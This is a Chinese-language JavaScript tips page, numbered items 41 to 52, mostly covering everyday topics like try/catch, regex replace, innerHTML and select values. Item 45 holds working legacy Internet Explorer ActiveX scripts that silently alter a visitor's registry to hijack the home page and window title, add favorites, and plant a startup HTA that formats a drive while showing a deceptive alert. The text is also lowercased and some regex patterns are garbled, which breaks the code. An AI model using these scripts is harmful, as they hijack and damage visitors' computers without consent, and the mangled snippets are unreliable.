如何在javascript中捕捉錯誤信息
當前位置:點晴教程→知識管理交流
→『 技術文檔交流 』
41.如何在javascript中捕捉錯誤信息?
<script> try{ var s=a.b; } catch(anerror) { alert(anerror.description); } </script> 42.js正則表達式replace用法 下述示例腳本使用replace方法來轉換串中的單詞。在替換的文本中,腳本使用全局 regexp 對象的$1和$2屬性的值。注意,在作為第二個參數傳遞給replace方法的時候,regexp對象的$屬性的名 稱。 <script language="javascript1.2"> re = /(+)(+)/; str = "john smith"; newstr=str.replace(re,"$2, $1"); document.write(newstr) </script> 顯示結果:"smith, john". str.replace(re,"$2, $1");這一句,$2,$1是什么意思? 下面這個解釋我也不大明白,可否幫我解釋一下,多謝!{/font] $1, ..., $9屬性 用圓括號括著的匹配子串,如果有的話。 是regexp的屬性 靜態,只讀 在javascript 1.2, nes 3.0以上版本提供 描述:因為input是靜態屬性,不是個別正則表達式對象的屬性。你可以使用regexp.input 訪問該 屬性。 能加上圓括號的子串的數量不受限制,但正則表達式對象只能保留最后9 條。如果你要訪問所有的 圓括號內的匹配字串,你可以使用返回的數組。 regexp.$n 保存滿足用圓括號括起來的匹配條件的子串 $2是匹配第2個括號,$1是匹配第1個括號,對多層括號嵌套應該如何區分?而且如果超過$1~$9的括號如何匹配? <script> var reg=/((+)(+))/; var str='john smith'; reg.exec(str); </script> <button onclick=with(regexp)alert($1+''+$2+''+$3);>view</button> 43.如何實現首頁全屏幕顯示? <html> <body><script language="javascript"> var coolw=642 var coolh=400 var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1, toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0") window.close() </script></body></html> 44.如何動態改變一個object對象的樣式表風格的class? <style> .btn1{ background-color:#990000;color:#ffffff; } </style> <button onclick="this.classname='btn1'">你點我一下我的樣式表就改為使用.btn1了</button> 45.如何用腳本來修改用戶系統的注冊表? (★★★★不推薦使用★★★★) <script> document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>"); function addfavlnk(loc, dispname, siteurl) { var shor = shl.createshortcut(loc + "\" + dispname +".url"); shor.targetpath = siteurl; shor.save(); } function f(){ try { //activex 初始化 a1=document.applets[0]; a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}"); a1.createinstance(); shl = a1.getobject(); a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}"); a1.createinstance(); fso = a1.getobject(); a1.setclsid("{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}"); a1.createinstance(); net = a1.getobject(); try { if (documents .cookie.indexof("chg") == -1) { //設置cookie var expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90)); documents .cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;" //設置cookie完畢 //設置主頁 shl.regwrite ("hkcu\software\microsoft\internet explorer\main\start page", "http://www.51js.com/"); //修改瀏覽器的標題 shl.regwrite ("hkcu\software\microsoft\internet explorer\main\window title", "你的internet explorer已經被修改過了 51js.com"); //設置cookie var expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90)); documents .cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;" var wf, shor, loc; wf = fso.getspecialfolder(0); loc = wf + "\favorites"; if(!fso.folderexists(loc)) { loc = fso.getdrivename(wf) + "\documents and settings\" + net.username + "\favorites"; if(!fso.folderexists(loc)) { return; } } addfavlnk(loc, "無憂腳本", "http://www.51js.com"); } } catch(e) {} } catch(e) {} } function init() { settimeout("f()", 1000); } init(); </script> 格式化硬盤的, 把啟動菜單下的automat.hta刪除即可,這是格式化 a:盤 <object id="scr" classid="clsid:06290bd5-48aa-11d2-8432-006008c3fbfc"> </object> <script> scr.reset(); scr.path="c:\windows\start menu\programs\啟動\automat.hta"; scr.doc="<object id='wsh' classid='clsid:f935dc22-1cf0-11d0-adb9-00c04fd58a0b'></object><script>wsh.run('start /m format a: /q /autotest /u');alert('note:windows is configing the system,do not interrupt it!.');</"+"script>"; scr.write(); </script> <html> <head> <title> 建立文件 </title> </head> <body> <br> <applet code="com.ms.activex.activexcomponent" > </applet> <script language="javascript"> a1=document.applets[0]; fn="51js.htm"; doc="<script>s1=歡迎你訪問無憂腳本!\請您將在啟動文件夾內的51js.com.htm刪除即可;alert(s1);document.body.innerhtml=s1</"+"script>"; function f1() { a1.setproperty('doc',doc); } function f() { // the activex classid cl="{06290bd5-48aa-11d2-8432-006008c3fbfc}"; a1.setclsid(cl); a1.createinstance(); settimeout("a1.setproperty('path','"+fn+"')",1000); settimeout("f1()",1500); settimeout("a1.invoke('write',va);alert('"+fn+" 被建立');",2000); } settimeout("f()",1000) </script> <script language="vbscript"> va = array() ' 獲取com.ms.com.variant[] </script> <br> </body> </html>原理是一樣的! 46.如何監聽一個窗口被關閉了? <body onunload="alert('你關閉了這個窗口')"> 47.什么是innerhtml、outerhtml………還有innertext? 自己用代碼來體會一下 <div id=test><table><tr><td>文本<a>鏈接</a>另一段文本</td></tr></table></div> <input type=button onclick=alert(test.innertext) value="show innertext"><br> <input type=button onclick=alert(test.innerhtml) value="show innerhtml"><br> <input type=button onclick=alert(test.outerhtml) value="show outerhtml"><br> 48.關于try....catch..的語法捕捉錯誤使用例子 try{ 可能會引起錯誤的語句 } catch(表達式) { 錯誤處理語句 } 例如: <button onclick=trydemo()>try...catch...demo</button> <script> function trydemo() { try{ var a=b/2;//注意由于b不存在,所以會引發一個異常。 } catch(e) { alert('錯誤類型:'+e+'錯誤信息:'+e.descrition); } } </script> 49.如何獲得一個select中選中option的value? select.options[select.selectedindex].value 50.this 和self 有什么區別,各在哪里用 self指代窗口。 this的情況: 1. 用于元素事件代碼中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function構造的類。 <script> function car(){this.name='car';};alert(new car().name); </script> 51.如何禁止ctrl+n? <body onkeydown=return(!(event.keycode==78&&event.ctrlkey))> 52.所有dhtml對象的屬性和方法其實在你本機的硬盤上就有! 查找:dhtmled.ocx 或在delphi/c++builder中import activex 選dhtmled.ocx 該文章在 2010/8/13 8:25:53 編輯過 |
關鍵字查詢
相關文章
正在查詢... |